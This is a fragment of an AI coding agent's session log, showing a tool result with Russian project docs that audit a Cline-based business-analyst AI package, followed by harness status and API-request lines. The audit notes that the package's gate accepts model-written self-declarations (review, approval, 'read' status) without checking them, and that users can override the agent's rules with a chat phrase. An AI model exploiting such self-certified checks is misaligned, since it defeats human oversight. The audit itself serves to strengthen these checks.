\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n## Summary\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f:** \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u0434\u0438\u043d Source \u0438 \u0434\u0432\u0430 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043f\u043e\u043a\u0430 \u043f\u0430\u0440\u043d\u044b\u0439\\n\u043f\u0438\u043b\u043e\u0442 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0435 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0440\u0435\u0437\u0435\\n\u043e\u0431\u0449\u0438\u0439 BCREQ-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u0432 \u0434\u0432\u0443\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432, \u0430 \u0441\u0445\u0435\u043c\u044b Working\\n\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c `$id` \u043f\u0430\u043a\u0435\u0442\u0430. \u041d\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0437\u043d\u0443\u044e \u043f\u043e\u043b\u043d\u043e\u0442\u0443:\\nGigaCode CLI \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 `A-IN \u2192 A-CORE \u2192 BCREQ`, Cline \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 `Working \u2192 Release`. \u042d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0430 \u043e\u0431\u0449\u0435\u0433\u043e \u044f\u0434\u0440\u0430**,\\n\u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\u043b\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438\\n\u0431\u043e\u0435\u0432\u043e\u0433\u043e Cline-\u043f\u0438\u043b\u043e\u0442\u0430. \u041e\u0434\u0438\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## Motivation\\n\\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 [\u0434\u0438\u0430\u043b\u043e\u0433 \u0438\u0437 issue #630](https://github.com/user-attachments/files/32743482/2.280926.txt)\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 20 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043e Cline-\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u0445. \u0422\u0430\u043c \u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\\n\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043c\u043e\u0434\u0435\u043b\u0438, \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 Source, \u0437\u0430\u0442\u0435\u043c\\n\u0444\u0438\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0435\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b. \u0418\u0445 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0431\u0435\u0437\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0433 \u0431\u044b \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0435\u0449\u0451 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0443\u044e.\\n\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e [\u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0425\u0430\u0431\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/concept.md)\\n\u0438 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\nSource \u0445\u0440\u0430\u043d\u0438\u0442 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u043e\u0431\u0449\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c, Distribution \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f runtime \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0438\u043b\u043e\u0442\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443, \u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c\\n\u043a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0442\u043e\u0440\u044b\u043c Source.\\n\\n## Goals and Non-goals\\n\\n=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n\\n# \u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u043e \u043f\u0430\u043a\u0435\u0442\u0443 Cline VS Code\\n\\n> **\u0412\u0435\u0440\u0441\u0438\u044f 0.2.** \u042d\u0442\u043e\u0442 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u043f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b\\n> (\u0441\u0440\u0435\u0434\u0430 2). \u041f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620)\\n> \u043e\u0445\u0432\u0430\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0434\u043e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0440\u0435\u0434 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f n8n \u0438\\n> \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 4: [\u00ab\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n> \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-26\u2026\u0413-54.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0435\u0440\u043d\u043e\u0435, \u0438 \u043f\u0430\u043a\u0435\u0442 \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435, \u043d\u043e \u043d\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435\\n\u00ab\u043d\u0430 \u0436\u0438\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0431\u0435\u0437 \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0430\u00bb.** \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2014 \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n\\n\u0418\u0437 \u0448\u0435\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e\u0434\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430), \u0442\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0432\u0430 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435). \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\\n\\n1. **\u0421\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0442\u0440\u0451\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439** \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0442\u0435\u043e\u0440\u0438\u0438), \u043f\u0430\u043a\u0435\u0442\u0430\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430) \u0438 \u0430\u0433\u0435\u043d\u0442\u0430 (LLM \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b). \u041e\u0442\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n3. **\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430, \u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0444\u0440\u0430\u0437\u043e\u0439 \u0432 \u0447\u0430\u0442\u0435** \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0441\u0430\u043c \u0443\u0447\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\\n   \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c `AGENTS.md` \u0441\u0432\u043e\u0438\u043c \u00ab\u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c\u00bb ([\u0413-04](#\u0433-04), [\u0413-23](#\u0433-23)).\\n4. **\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u044b** (\u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON\\n   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n   \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0413-19](#\u0433-19)).\\n5. **\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 hooks \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 Cline v3, \u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0442\u0430\u0432\u0438\u0442 v4.**\\n   \u0412 v4.1.21 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0443\u043d\u043a\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\\n   \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\\n   Windows \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0431\u044b \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c\\n   \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 ([\u0413-11](#\u0433-11), [\u0413-25](#\u0433-25)).\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:25.666Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:25.666Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:25.666Z] [INFO]   }\n[2026-09-29T07:45:25.666Z] [INFO] }\n[2026-09-29T07:45:25.706Z] [INFO] {\n[2026-09-29T07:45:25.706Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:25.706Z] [INFO]   \"uuid\": \"69d97231-c10a-48fe-b9f8-6a19cbed273b\"\n[2026-09-29T07:45:25.706Z] [INFO] }\n[2026-09-29T07:45:25.730Z] [STDOUT] [log_8d5146] sending request {\n[2026-09-29T07:45:25.735Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:25.741Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.744Z] [STDOUT]   options: {\n[2026-09-29T07:45:25.748Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:25.752Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:25.756Z] [STDOUT]     body: {\n[2026-09-29T07:45:25.759Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:25.764Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:25.770Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:25.775Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:45:25.778Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:25.781Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:25.786Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:25.797Z] [STDOUT]       thinking: [Object 